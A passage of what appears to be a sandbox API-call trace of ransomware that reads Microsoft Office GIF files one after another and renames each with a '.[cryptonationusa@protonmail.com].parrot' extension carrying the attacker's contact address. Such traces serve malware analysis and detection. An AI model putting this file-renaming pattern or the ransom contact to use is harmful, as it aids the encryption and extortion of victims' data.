office\\media\\office14\\bullets\\bd15273_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.167] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.167] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.168] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.168] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd0, lpOverlapped=0x0) returned 1 [0165.168] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.172] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.173] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.173] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3f, lpOverlapped=0x0) returned 1 [0165.173] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.177] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.177] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.178] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x49, lpOverlapped=0x0) returned 1 [0165.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.182] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.183] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3c, lpOverlapped=0x0) returned 1 [0165.184] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.189] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.189] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.190] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a, lpOverlapped=0x0) returned 1 [0165.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.190] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.194] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.194] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.195] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.195] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x96, lpOverlapped=0x0) returned 1 [0165.195] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.200] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.200] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.201] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x94, lpOverlapped=0x0) returned 1 [0165.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.205] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.205] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.533] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.533] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x370, lpOverlapped=0x0) returned 1 [0165.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.539] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.540] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x65, lpOverlapped=0x0) returned 1 [0165.541] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.545] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.545] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.546] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4f, lpOverlapped=0x0) returned 1 [0165.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.552] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.552] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.553] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8c, lpOverlapped=0x0) returned 1 [0165.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.557] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.557] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.557] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.558] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcc, lpOverlapped=0x0) returned 1 [0165.558] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.562] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.563] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11d, lpOverlapped=0x0) returned 1 [0165.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.568] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.568] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.569] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24f, lpOverlapped=0x0) returned 1 [0165.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.602] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.602] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.603] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.603] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24f, lpOverlapped=0x0) returned 1 [0165.604] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.610] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.610] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.612] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.612] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d7, lpOverlapped=0x0) returned 1 [0165.612] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.618] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.619] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.619] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d4, lpOverlapped=0x0) returned 1 [0165.619] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.624] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.624] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.625] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.625] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x101, lpOverlapped=0x0) returned 1 [0165.626] SetFilePointerEx (in: hFile=0x27c, 